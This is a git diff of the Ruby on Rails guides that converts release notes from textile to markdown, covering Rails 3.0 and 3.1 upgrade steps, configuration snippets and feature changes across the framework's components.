-* In +scope+ methods, you should move to using the relation methods, instead of a <tt>:conditions => {}</tt> finder method, for example <tt>scope :since, lambda {|time| where("created_at > ?", time) }</tt>.
-* <tt>save(false)</tt> is deprecated, in favor of <tt>save(:validate => false)</tt>.
-* I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to <tt>:en.errors.template</tt>.
-* <tt>model.errors.on</tt> is deprecated in favor of <tt>model.errors[]</tt>
-* validates_presence_of => validates... :presence => true
-* <tt>ActiveRecord::Base.colorize_logging</tt> and <tt>config.active_record.colorize_logging</tt> are deprecated in favor of <tt>Rails::LogSubscriber.colorize_logging</tt> or <tt>config.colorize_logging</tt>
-
-NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.
-
-
-h3. Active Resource
-
-Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.
-
-* Added validations through Active Model.
-* Added observing hooks.
-* HTTP proxy support.
-* Added support for digest authentication.
-* Moved model naming into Active Model.
-* Changed Active Resource attributes to a Hash with indifferent access.
-* Added +first+, +last+ and +all+ aliases for equivalent find scopes.
-* <tt>find_every</tt> now does not return a +ResourceNotFound+ error if nothing returned.
-* Added <tt>save!</tt> which raises <tt>ResourceInvalid</tt> unless the object is <tt>valid?</tt>.
-* <tt>update_attribute</tt> and <tt>update_attributes</tt> added to Active Resource models.
-* Added <tt>exists?</tt>.
-* Renamed <tt>SchemaDefinition</tt> to <tt>Schema</tt> and <tt>define_schema</tt> to <tt>schema</tt>.
-* Use the <tt>format</tt> of Active Resources rather than the <tt>content-type</tt> of remote errors to load errors.
-* Use <tt>instance_eval</tt> for schema block.
-* Fix <tt>ActiveResource::ConnectionError#to_s</tt> when +@response+ does not respond to #code or #message, handles Ruby 1.9 compatibility.
-* Add support for errors in JSON format.
-* Ensure <tt>load</tt> works with numeric arrays.
-* Recognizes a 410 response from remote resource as the resource has been deleted.
-* Add ability to set SSL options on Active Resource connections.
-* Setting connection timeout also affects +Net::HTTP+ <tt>open_timeout</tt>.
-
-Deprecations:
-
-* <tt>save(false)</tt> is deprecated, in favor of <tt>save(:validate => false)</tt>.
-* Ruby 1.9.2: <tt>URI.parse</tt> and <tt>.decode</tt> are deprecated and are no longer used in the library.
-
-
-h3. Active Support
-
-A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.
-
-These are the main changes in Active Support:
-
-* Large clean up of the library removing unused methods throughout.
-* Active Support no longer provides vendored versions of "TZInfo":http://tzinfo.rubyforge.org/, "Memcache Client":http://deveiate.org/projects/RMemCache/ and "Builder":http://builder.rubyforge.org/, these are all included as dependencies and installed via the <tt>bundle install</tt> command.
-* Safe buffers are implemented in <tt>ActiveSupport::SafeBuffer</tt>.
-* Added <tt>Array.uniq_by</tt> and <tt>Array.uniq_by!</tt>.
-* Removed <tt>Array#rand</tt> and backported <tt>Array#sample</tt> from Ruby 1.9.
-* Fixed bug on +TimeZone.seconds_to_utc_offset+ returning wrong value.
-* Added <tt>ActiveSupport::Notifications</tt> middleware.
-* <tt>ActiveSupport.use_standard_json_time_format</tt> now defaults to true.
-* <tt>ActiveSupport.escape_html_entities_in_json</tt> now defaults to false.
-* <tt>Integer#multiple_of?</tt> accepts zero as an argument, returns false unless the receiver is zero.
-* +string.chars+ has been renamed to +string.mb_chars+.
-* +ActiveSupport::OrderedHash+ now can de-serialize through YAML.
-* Added SAX-based parser for XmlMini, using LibXML and Nokogiri.
-* Added <tt>Object#presence</tt> that returns the object if it's <tt>#present?</tt> otherwise returns +nil+.
-* Added <tt>String#exclude?</tt> core extension that returns the inverse of <tt>#include?</tt>.
-* Added <tt>to_i</tt> to +DateTime+ in +ActiveSupport+ so <tt>to_yaml</tt> works correctly on models with +DateTime+ attributes.
-* Added <tt>Enumerable#exclude?</tt> to bring parity to <tt>Enumerable#include?</tt> and avoid if <tt>!x.include?</tt>.
-* Switch to on-by-default XSS escaping for rails.
-* Support deep-merging in +ActiveSupport::HashWithIndifferentAccess+.
-* <tt>Enumerable#sum</tt> now works will all enumerables, even if they don't respond to <tt>:size</tt>.
-* <tt>inspect</tt> on a zero length duration returns '0 seconds' instead of empty string.
-* Add <tt>element</tt> and <tt>collection</tt> to <tt>ModelName</tt>.
-* <tt>String#to_time</tt> and <tt>String#to_datetime</tt> handle fractional seconds.
-* Added support to new callbacks for around filter object that respond to <tt>:before</tt> and <tt>:after</tt> used in before and after callbacks.
-* The <tt>ActiveSupport::OrderedHash#to_a</tt> method returns an ordered set of arrays. Matches Ruby 1.9's <tt>Hash#to_a</tt>.
-* <tt>MissingSourceFile</tt> exists as a constant but it is now just equals to <tt>LoadError</tt>.
-* Added <tt>Class#class_attribute</tt>, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.
-* Finally removed +DeprecatedCallbacks+ in <tt>ActiveRecord::Associations</tt>.
-* +Object#metaclass+ is now +Kernel#singleton_class+ to match Ruby.
-
-The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.
-
-* <tt>Integer#even?</tt> and <tt>Integer#odd?</tt>
-* <tt>String#each_char</tt>
-* <tt>String#start_with?</tt> and <tt>String#end_with?</tt> (3rd person aliases still kept)
-* <tt>String#bytesize</tt>
-* <tt>Object#tap</tt>
-* <tt>Symbol#to_proc</tt>
-* <tt>Object#instance_variable_defined?</tt>
-* <tt>Enumerable#none?</tt>
-
-The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.
-
-The following methods have been removed because they are no longer used in the framework:
-
-* +Kernel#daemonize+
-* <tt>Object#remove_subclasses_of</tt> <tt>Object#extend_with_included_modules_from</tt>, <tt>Object#extended_by</tt>
-* <tt>Class#remove_class</tt>
-* <tt>Regexp#number_of_captures</tt>, <tt>Regexp.unoptionalize</tt>, <tt>Regexp.optionalize</tt>, <tt>Regexp#number_of_captures</tt>
-
-
-h3. Action Mailer
-
-Action Mailer has been given a new API with TMail being replaced out with the new "Mail":http://github.com/mikel/mail as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.
-
-* All mailers are now in <tt>app/mailers</tt> by default.
-* Can now send email using new API with three methods: +attachments+, +headers+ and +mail+.
-* ActionMailer now has native support for inline attachments using the <tt>attachments.inline</tt> method.
-* Action Mailer emailing methods now return <tt>Mail::Message</tt> objects, which can then be sent the +deliver+ message to send itself.
-* All delivery methods are now abstracted out to the Mail gem.
-* The mail delivery method can accept a hash of all valid mail header fields with their value pair.
-* The +mail+ delivery method acts in a similar way to Action Controller's +respond_to+, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.
-* You can pass a proc to the <tt>format.mime_type</tt> calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The +render+ call inside the proc is from Abstract Controller and supports the same options.
-* What were mailer unit tests have been moved to functional tests.
-* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem
-* Action Mailer will auto encode email bodies and headers for you
-
-Deprecations:
-
-* <tt>:charset</tt>, <tt>:content_type</tt>, <tt>:mime_version</tt>, <tt>:implicit_parts_order</tt> are all deprecated in favor of <tt>ActionMailer.default :key => value</tt> style declarations.
-* Mailer dynamic <tt>create_method_name</tt> and <tt>deliver_method_name</tt> are deprecated, just call <tt>method_name</tt> which now returns a <tt>Mail::Message</tt> object.
-* <tt>ActionMailer.deliver(message)</tt> is deprecated, just call <tt>message.deliver</tt>.
-* <tt>template_root</tt> is deprecated, pass options to a render call inside a proc from the <tt>format.mime_type</tt> method inside the <tt>mail</tt> generation block
-* The +body+ method to define instance variables is deprecated (<tt>body {:ivar => value}</tt>), just declare instance variables in the method directly and they will be available in the view.
-* Mailers being in <tt>app/models</tt> is deprecated, use <tt>app/mailers</tt> instead.
-
-More Information:
-* "New Action Mailer API in Rails 3":http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3
-* "New Mail Gem for Ruby":http://lindsaar.net/2010/1/23/mail-gem-version-2-released
-
-
-h3. Credits
-
-See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails 3. Kudos to all of them.
-
-Rails 3.0 Release Notes were compiled by "Mikel Lindsaar":http://lindsaar.net.
-
diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md
new file mode 100644
index 0000000000..1d79ea5b5a
--- /dev/null
+++ b/guides/source/3_1_release_notes.md
@@ -0,0 +1,552 @@
+Ruby on Rails 3.1 Release Notes
+===============================
+
+Highlights in Rails 3.1:
+
+* Streaming
+* Reversible Migrations
+* Assets Pipeline
+* jQuery as the default JavaScript library
+
+This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 3.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:
+
+### Rails 3.1 requires at least Ruby 1.8.7
+
+Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
+
+### What to update in your apps
+
+The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
+
+#### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '= 3.1.3'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+ gem 'sass-rails', "~> 3.1.5"
+ gem 'coffee-rails', "~> 3.1.1"
+ gem 'uglifier', ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+```
+
+#### config/application.rb
+
+* The asset pipeline requires the following additions:
+
+ ```ruby
+ config.assets.enabled = true
+ config.assets.version = '1.0'
+ ```
+
+* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+ ```ruby
+ # Defaults to '/assets'
+ config.assets.prefix = '/asset-files'
+ ```
+
+#### config/environments/development.rb
+
+* Remove the RJS setting `config.action_view.debug_rjs = true`.
+
+* Add the following, if you enable the asset pipeline.
+
+ ```ruby
+ # Do not compress assets
+ config.assets.compress = false
+
+ # Expands the lines which load the assets
+ config.assets.debug = true
+ ```
+
+#### config/environments/production.rb
+
+* Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
+
+ ```ruby
+ # Compress JavaScripts and CSS
+ config.assets.compress = true
+
+ # Don't fallback to assets pipeline if a precompiled asset is missed
+ config.assets.compile = false
+
+ # Generate digests for assets URLs
+ config.assets.digest = true
+
+ # Defaults to Rails.root.join("public/assets")
+ # config.assets.manifest = YOUR_PATH
+
+ # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+ # config.assets.precompile `= %w( search.js )
+
+
+ # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+ # config.force_ssl = true
+ ```
+
+#### config/environments/test.rb
+
+```ruby
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+```
+
+#### config/initializers/wrap_parameters.rb
+
+* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+ ```ruby
+ # Be sure to restart your server when you modify this file.
+ # This file contains settings for ActionController::ParamsWrapper which
+ # is enabled by default.
+
+ # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ ActiveSupport.on_load(:action_controller) do
+ wrap_parameters :format => [:json]
+ end
+
+ # Disable root element in JSON by default.
+ ActiveSupport.on_load(:active_record) do
+ self.include_root_in_json = false
+ end
+ ```
+
+Creating a Rails 3.1 application
+--------------------------------
+
+```bash
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - [bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Rails Architectural Changes
+---------------------------
+
+### Assets Pipeline
+
+The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.
+
+The assets pipeline is powered by [Sprockets](https://github.com/sstephenson/sprockets) and is covered in the [Asset Pipeline](asset_pipeline.html) guide.
+
+### HTTP Streaming
+
+HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
+
+### Default JS library is now jQuery
+
+jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.
+
+```bash
+$ rails new myapp -j prototype
+```
+
+### Identity Map
+
+Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.
+
+Rails 3.1 comes with the identity map turned off by default.
+
+Railties
+--------
+
+* jQuery is the new default JavaScript library.
+
+* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.
+
+* The application generator accepts an option `-j` which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the `Gemfile`, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.
+
+* Generating an application or a plugin runs `bundle install` unless `--skip-gemfile` or `--skip-bundle` is specified.
+
+* The controller and resource generators will now automatically produce asset stubs (this can be turned off with `--skip-assets`). These stubs will use CoffeeScript and Sass, if those libraries are available.
+
+* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, `--old-style-hash` can be passed.
+
+* Scaffold controller generator creates format block for JSON instead of XML.
+
+* Active Record logging is directed to STDOUT and shown inline in the console.
+
+* Added `config.force_ssl` configuration which loads `Rack::SSL` middleware and force all requests to be under HTTPS protocol.
+
+* Added `rails plugin new` command which generates a Rails plugin with gemspec, tests and a dummy application for testing.
+
+* Added `Rack::Etag` and `Rack::ConditionalGet` to the default middleware stack.
+
+* Added `Rack::Cache` to the default middleware stack.
+
+* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
+
+Action Pack
+-----------
+
+### Action Controller
+
+* A warning is given out if the CSRF token authenticity cannot be verified.
+
+* Specify `force_ssl` in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, `:only` or `:except` can be used.
+
+* Sensitive query string parameters specified in `config.filter_parameters` will now be filtered out from the request paths in the log.
+
+* URL parameters which return `nil` for `to_param` are now removed from the query string.
+
+* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in `config/initializers/wrap_parameters.rb`.
+
+* Added `config.action_controller.include_all_helpers`. By default `helper :all` is done in `ActionController::Base`, which includes all the helpers by default. Setting `include_all_helpers` to `false` will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
+
+* `url_for` and named url helpers now accept `:subdomain` and `:domain` as options.
+
+* Added `Base.http_basic_authenticate_with` to do simple http basic authentication with a single class method call.
+
+ ```ruby
+ class PostsController < ApplicationController
+ USER_NAME, PASSWORD = "dhh", "secret"
+
+ before_filter :authenticate, :except => [ :index ]
+
+ def index
+ render :text => "Everyone can see me!"
+ end
+
+ def edit
+ render :text => "I'm only accessible if you know the password"
+ end
+
+ private
+ def authenticate
+ authenticate_or_request_with_http_basic do |user_name, password|
+ user_name == USER_NAME && password == PASSWORD
+ end
+ end
+ end
+ ```
+
+ ..can now be written as
+
+ ```ruby
+ class PostsController < ApplicationController
+ http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
+
+ def index
+ render :text => "Everyone can see me!"
+ end
+
+ def edit
+ render :text => "I'm only accessible if you know the password"
+ end
+ end
+ ```
+
+* Added streaming support, you can enable it with:
+
+ ```ruby
+ class PostsController < ActionController::Base
+ stream
+ end
+ ```
+
+ You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information.
+
+* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
+
+### Action Dispatch
+
+* `config.action_dispatch.x_sendfile_header` now defaults to `nil` and `config/environments/production.rb` doesn't set any particular value for it. This allows servers to set it through `X-Sendfile-Type`.
+
+* `ActionDispatch::MiddlewareStack` now uses composition over inheritance and is no longer an array.
+
+* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers.
+
+* Added `Rack::Cache` to the default stack.
+
+* Moved etag responsibility from `ActionDispatch::Response` to the middleware stack.
+
+* Rely on `Rack::Session` stores API for more compatibility across the Ruby world. This is backwards incompatible since `Rack::Session` expects `#get_session` to accept four arguments and requires `#destroy_session` instead of simply `#destroy`.
+
+* Template lookup now searches further up in the inheritance chain.
+
+### Action View
+
+* Added an `:authenticity_token` option to `form_tag` for custom handling or to omit the token by passing `:authenticity_token => false`.
+
+* Created `ActionView::Renderer` and specified an API for `ActionView::Context`.
+
+* In place `SafeBuffer` mutation is prohibited in Rails 3.1.
+
+* Added HTML5 `button_tag` helper.
+
+* `file_field` automatically adds `:multipart => true` to the enclosing form.
+
+* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a `:data` hash of options:
+
+ ```ruby
+ tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
+ # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
+ ```
+
+Keys are dasherized. Values are JSON-encoded, except for strings and symbols.
+
+* `csrf_meta_tag` is renamed to `csrf_meta_tags` and aliases `csrf_meta_tag` for backwards compatibility.
+
+* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.
+
+* rhtml and rxml are finally removed as template handlers.
+
+* `config.action_view.cache_template_loading` is brought back which allows to decide whether templates should be cached or not.
+
+* The submit form helper does not generate an id "object_name_id" anymore.
+
+* Allows `FormHelper#form_for` to specify the `:method` as a direct option instead of through the `:html` hash. `form_for(@post, remote: true, method: :delete)` instead of `form_for(@post, remote: true, html: { method: :delete })`.
+
+* Provided `JavaScriptHelper#j()` as an alias for `JavaScriptHelper#escape_javascript()`. This supersedes the `Object#j()` method that the JSON gem adds within templates using the JavaScriptHelper.
+
+* Allows AM/PM format in datetime selectors.
+
+* `auto_link` has been removed from Rails and extracted into the [rails_autolink gem](https://github.com/tenderlove/rails_autolink)
+
+Active Record
+-------------
+
+* Added a class method `pluralize_table_names` to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through `ActiveRecord::Base.pluralize_table_names`.
+
+ ```ruby
+ class User < ActiveRecord::Base
+ self.pluralize_table_names = false
+ end
+ ```
+
+* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.
+
+ ```ruby
+ class User < ActiveRecord::Base
+ has_one :account
+ end
+
+ user.build_account{ |a| a.credit_limit = 100.0 }
+ ```
+
+* Added `ActiveRecord::Base.attribute_names` to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.
+
+* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.
+
+* `ActiveRecord#new`, `ActiveRecord#create` and `ActiveRecord#update_attributes` all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:
+
+ ```ruby
+ class Post < ActiveRecord::Base
+ attr_accessible :title
+ attr_accessible :title, :published_at, :as => :admin
+ end
+
+ Post.new(params[:post], :as => :admin)
+ ```
+
+* `default_scope` can now take a block, lambda, or any other object which responds to call for lazy evaluation.
+
+* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.
+
+* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
+
+* `ConnectionManagement` middleware is changed to clean up the connection pool after the rack body has been flushed.
+
+* Added an `update_column` method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use `update_attributes` or `update_attribute` unless you are sure you do not want to execute any callback, including the modification of the `updated_at` column. It should not be called on new records.
+
+* Associations with a `:through` option can now use any association as the through or source association, including other associations which have a `:through` option and `has_and_belongs_to_many` associations.
+
+* The configuration for the current database connection is now accessible via `ActiveRecord::Base.connection_config`.
+
+* limits and offsets are removed from COUNT queries unless both are supplied.
+
+ ```ruby
+ People.limit(1).count # => 'SELECT COUNT(*) FROM people'
+ People.offset(1).count # => 'SELECT COUNT(*) FROM people'
+ People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
+ ```
+
+* `ActiveRecord::Associations::AssociationProxy` has been split. There is now an `Association` class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called `CollectionProxy`, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.
+
+* Singular associations (`has_one`, `belongs_to`) no longer have a proxy and simply returns the associated record or `nil`. This means that you should not use undocumented methods such as `bob.mother.create` - use `bob.create_mother` instead.
+
+* Support the `:dependent` option on `has_many :through` associations. For historical and practical reasons, `:delete_all` is the default deletion strategy employed by `association.delete(*records)`, despite the fact that the default strategy is `:nullify` for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.
+
+* The behavior of `association.destroy` for `has_and_belongs_to_many` and `has_many :through` is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.
+
+* Previously, `has_and_belongs_to_many.destroy(*records)` would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.
+
+* Previously, `has_many_through.destroy(*records)` would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.
+
+* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do `records.association.each(&:destroy)`.
+
+* Add `:bulk => true` option to `change_table` to make all the schema changes defined in a block using a single ALTER statement.
+
+ ```ruby
+ change_table(:users, :bulk => true) do |t|
+ t.string :company_name
+ t.change :birthdate, :datetime
+ end
+ ```
+
+* Removed support for accessing attributes on a `has_and_belongs_to_many` join table. `has_many :through` needs to be used.
+
+* Added a `create_association!` method for `has_one` and `belongs_to` associations.
+
+* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the `change` method.
+
+ ```ruby
+ class MyMigration < ActiveRecord::Migration
+ def change
+ create_table(:horses) do |t|
+ t.column :content, :text
+ t.column :remind_at, :datetime
+ end
+ end
+ end
+ ```
+
+* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define `up` and `down` in your migration. If you define something in change that cannot be reversed, an `IrreversibleMigration` exception will be raised when going down.
+
+* Migrations now use instance methods rather than class methods:
+
+ ```ruby
+ class FooMigration < ActiveRecord::Migration
+ def up # Not self.up
+ ...
+ end
+ end
+ ```
+
+* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's `change` method instead of the ordinary `up` and `down` methods.
+
+* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.
+
+ ```ruby
+ has_many :things, :conditions => 'foo = #{bar}' # before
+ has_many :things, :conditions => proc { "foo = #{bar}" } # after
+ ```
+
+ Inside the proc, `self` is the object which is the owner of the association, unless you are eager loading the association, in which case `self` is the class which the association is within.
+
+ You can have any "normal" conditions inside the proc, so the following will work too:
+
+ ```ruby
+ has_many :things, :conditions => proc { ["foo = ?", bar] }
+ ```
+
+* Previously `:insert_sql` and `:delete_sql` on `has_and_belongs_to_many` association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.
+
+* Added `ActiveRecord::Base#has_secure_password` (via `ActiveModel::SecurePassword`) to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+ ```ruby
+ # Schema: User(name:string, password_digest:string, password_salt:string)
+ class User < ActiveRecord::Base
+ has_secure_password
+ end
+ ```
+
+* When a model is generated `add_index` is added by default for `belongs_to` or `references` columns.
+
+* Setting the id of a `belongs_to` object will update the reference to the object.
+
+* `ActiveRecord::Base#dup` and `ActiveRecord::Base#clone` semantics have changed to closer match normal Ruby dup and clone semantics.
+
+* Calling `ActiveRecord::Base#clone` will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.
+
+* Calling `ActiveRecord::Base#dup` will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return `true` for `new_record?`, have a `nil` id field, and is saveable.
+
+* The query cache now works with prepared statements. No changes in the applications are required.
+
+Active Model
+------------
+
+* `attr_accessible` accepts an option `:as` to specify a role.
+
+* `InclusionValidator`, `ExclusionValidator`, and `FormatValidator` now accepts an option which can be a proc, a lambda, or anything that respond to `call`. This option will be called with the current record as an argument and returns an object which respond to `include?` for `InclusionValidator` and `ExclusionValidator`, and returns a regular expression object for `FormatValidator`.
+
+* Added `ActiveModel::SecurePassword` to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+* `ActiveModel::AttributeMethods` allows attributes to be defined on demand.
+
+* Added support for selectively enabling and disabling observers.
+
+* Alternate `I18n` namespace lookup is no longer supported.
+
+Active Resource
+---------------
+
+* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. For example,
+
+ ```ruby
+ class User < ActiveResource::Base
+ self.format = :xml
+ end
+ ```
+
+Active Support
+--------------
+
+* `ActiveSupport::Dependencies` now raises `NameError` if it finds an existing constant in `load_missing_constant`.
+
+* Added a new reporting method `Kernel#quietly` which silences both `STDOUT` and `STDERR`.
+
+* Added `String#inquiry` as a convenience method for turning a String into a `StringInquirer` object.
+
+* Added `Object#in?` to test if an object is included in another object.
+
+* `LocalCache` strategy is now a real middleware class and no longer an anonymous class.
+
+* `ActiveSupport::Dependencies::ClassCache` class has been introduced for holding references to reloadable classes.
+
+* `ActiveSupport::Dependencies::Reference` has been refactored to take direct advantage of the new `ClassCache`.
+
+* Backports `Range#cover?` as an alias for `Range#include?` in Ruby 1.8.
+
+* Added `weeks_ago` and `prev_week` to Date/DateTime/Time.
+
+* Added `before_remove_const` callback to `ActiveSupport::Dependencies.remove_unloadable_constants!`.
+
+Deprecations:
+
+* `ActiveSupport::SecureRandom` is deprecated in favor of `SecureRandom` from the Ruby standard library.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.)
diff --git a/guides/source/3_1_release_notes.textile b/guides/source/3_1_release_notes.textile
deleted file mode 100644
index f88d8624ba..0000000000
--- a/guides/source/3_1_release_notes.textile
+++ /dev/null
@@ -1,538 +0,0 @@
-h2. Ruby on Rails 3.1 Release Notes
-
-Highlights in Rails 3.1:
-
-* Streaming
-* Reversible Migrations
-* Assets Pipeline
-* jQuery as the default JavaScript library
-
-This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-
-endprologue.
-
-h3. Upgrading to Rails 3.1
-
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:
-
-h4. Rails 3.1 requires at least Ruby 1.8.7
-
-Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
-
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
-
-h4. What to update in your apps
-
-The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
-
-h5. Gemfile
-
-Make the following changes to your +Gemfile+.
-
-<ruby>
-gem 'rails', '= 3.1.3'
-gem 'mysql2'
-
-# Needed for the new asset pipeline
-group :assets do
- gem 'sass-rails', "~> 3.1.5"
- gem 'coffee-rails', "~> 3.1.1"
- gem 'uglifier', ">= 1.0.3"
-end
-
-# jQuery is the default JavaScript library in Rails 3.1
-gem 'jquery-rails'
-</ruby>
-
-h5. config/application.rb
-
-* The asset pipeline requires the following additions:
-
-<ruby>
-config.assets.enabled = true
-config.assets.version = '1.0'
-</ruby>
-
-* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
-
-<ruby>
-# Defaults to '/assets'
-config.assets.prefix = '/asset-files'
-</ruby>
-
